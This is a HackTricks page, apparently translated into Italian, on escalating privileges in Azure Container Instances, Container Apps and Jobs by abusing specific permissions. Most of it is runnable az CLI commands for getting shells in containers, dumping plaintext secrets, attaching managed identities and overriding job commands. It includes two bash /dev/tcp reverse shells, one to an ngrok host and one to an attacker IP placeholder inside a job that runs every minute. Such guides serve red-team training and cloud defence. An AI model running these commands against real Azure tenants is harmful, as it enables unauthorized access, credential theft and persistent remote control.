Az - Azure Container Instances, Apps & Jobs Privesc
Reading time: 8 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Azure Container Instances, Apps & Jobs
Per ulteriori informazioni controlla:
Az - Container Instances, Apps & Jobs
ACI
Microsoft.ContainerInstance/containerGroups/read
, Microsoft.ContainerInstance/containerGroups/containers/exec/action
Questi permessi consentono all'utente di eseguire un comando in un container in esecuzione. Questo può essere utilizzato per escalare i privilegi nel container se ha un'identità gestita allegata. Ovviamente, è anche possibile accedere al codice sorgente e a qualsiasi altra informazione sensibile memorizzata all'interno del container.
Ottenere una shell è semplice come:
az container exec --name <container-name> --resource-group <res-group> --exec-command '/bin/sh'
È anche possibile leggere l'output del container con:
az container attach --name <container-name> --resource-group <res-group>
Oppure ottieni i log con:
az container logs --name <container-name> --resource-group <res-group>
Microsoft.ContainerInstance/containerGroups/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Queste autorizzazioni consentono di allegare un'identità gestita dall'utente a un gruppo di contenitori. Questo è molto utile per elevare i privilegi nel contenitore.
Per allegare un'identità gestita dall'utente a un gruppo di contenitori:
az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"
Microsoft.Resources/subscriptions/resourcegroups/read
, Microsoft.ContainerInstance/containerGroups/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Queste autorizzazioni consentono di creare o aggiornare un gruppo di contenitori con un identità gestita dall'utente ad esso associata. Questo è molto utile per elevare i privilegi nel contenitore.
az container create \
--resource-group <res-group> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0
Inoltre, è possibile aggiornare un gruppo di contenitori esistente aggiungendo ad esempio l'argomento --command-line
con una reverse shell.
ACA
Microsoft.App/containerApps/read
, Microsoft.App/managedEnvironments/read
, microsoft.app/containerapps/revisions/replicas
, Microsoft.App/containerApps/revisions/read
, Microsoft.App/containerApps/getAuthToken/action
Queste autorizzazioni consentono all'utente di ottenere una shell in un contenitore di applicazione in esecuzione. Questo può essere utilizzato per escalare i privilegi nel contenitore se ha un'identità gestita associata. Ovviamente, è anche possibile accedere al codice sorgente e a qualsiasi altra informazione sensibile memorizzata all'interno del contenitore.
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>
Microsoft.App/containerApps/listSecrets/action
Questo permesso consente di ottenere il testo in chiaro dei segreti configurati all'interno di un'app container. Si noti che i segreti possono essere configurati con il testo in chiaro o con un link a un key vault (in tal caso l'app avrà assegnata un'identità gestita con accesso ai segreti).
az containerapp secret list --name <app-name> --resource-group <res-group>
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>
Microsoft.App/containerApps/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Queste autorizzazioni consentono di allegare un'identità gestita dall'utente a un'app container. Questo è molto utile per elevare i privilegi nel container. Eseguire questa azione dall'az cli richiede anche l'autorizzazione Microsoft.App/containerApps/listSecrets/action
.
Per allegare un'identità gestita dall'utente a un gruppo di container:
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName
Microsoft.App/containerApps/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, Microsoft.App/managedEnvironments/join/action
Queste autorizzazioni consentono di creare o aggiornare un contenitore di applicazione con un identità gestita dall'utente ad esso associata. Questo è molto utile per elevare i privilegi nel contenitore.
# Get environments
az containerapp env list --resource-group Resource_Group_1
# Create app in a an environment
az containerapp create \
--name <app-name> \
--resource-group <res-group> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--cpu 1 --memory 1.0 \
--user-assigned <user-asigned-identity-name> \
--min-replicas 1 \
--command "<reserse shell>"
tip
Nota che con queste autorizzazioni altre configurazioni dell'app possono essere modificate, il che potrebbe consentire di eseguire altre attacchi di privesc e post exploitation a seconda della configurazione delle app esistenti.
Jobs
Microsoft.App/jobs/read
, Microsoft.App/jobs/write
Sebbene i job non siano a lungo termine come le app container, puoi sfruttare la possibilità di sovrascrivere la configurazione del comando del job all'avvio di un'esecuzione. Creando un modello di job personalizzato (ad esempio, sostituendo il comando predefinito con una reverse shell), puoi ottenere accesso alla shell all'interno del container che esegue il job.
# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml
# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
# For example, change the container’s command to:
# - args:
# - -c
# - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
# command:
# - /bin/bash
# image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest
# Update and wait until the job is triggered (or change ths type to scheduled)
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml
# Start a new job execution with the modified template:
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml
Microsoft.App/jobs/read
, Microsoft.App/jobs/listSecrets/action
Se hai questi permessi, puoi elencare tutti i segreti (primo permesso) all'interno di un contenitore Job e poi leggere i valori dei segreti configurati.
az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>
Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, Microsoft.App/jobs/write
Se hai il permesso di modificare la configurazione di un lavoro, puoi allegare un'identità gestita assegnata dall'utente. Questa identità potrebbe avere privilegi aggiuntivi (ad esempio, accesso ad altre risorse o segreti) che possono essere sfruttati per elevare i privilegi all'interno del contenitore.
az containerapp job update \
--name <job-name> \
--resource-group <res-group> \
--assign-identity <user-assigned-identity-id>
Microsoft.App/managedEnvironments/read
, Microsoft.App/jobs/write
, Microsoft.App/managedEnvironments/join/action
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Se puoi creare un nuovo Container Apps Job (o aggiornare uno esistente) e allegare un'identità gestita, puoi progettare il lavoro per eseguire un payload che escalda i privilegi. Ad esempio, potresti creare un nuovo lavoro che non solo esegue una reverse shell ma utilizza anche le credenziali dell'identità gestita per richiedere token o accedere ad altre risorse.
az containerapp job create \
--name <new-job-name> \
--resource-group <res-group> \
--environment <environment-name> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--user-assigned <user-assigned-identity-id> \
--trigger-type Schedule \
--cron-expression "*/1 * * * *" \
--replica-timeout 1800 \
--replica-retry-limit 0 \
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"
tip
Questo comando genererà un errore se non hai il permesso Microsoft.App/jobs/read
, anche se il Job verrà creato.
microsoft.app/jobs/start/action
, microsoft.app/jobs/read
Sembra che con questi permessi dovrebbe essere possibile avviare un job. Questo potrebbe essere utilizzato per avviare un job con una reverse shell o qualsiasi altro comando malevolo senza dover modificare la configurazione del job.
Non sono riuscito a farlo funzionare, ma secondo i parametri consentiti dovrebbe essere possibile.
Microsoft.ContainerInstance/containerGroups/restart/action
Consente di riavviare un gruppo di contenitori specifico all'interno di Azure Container Instances.
az container restart --resource-group <resource-group> --name <container-instances>
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.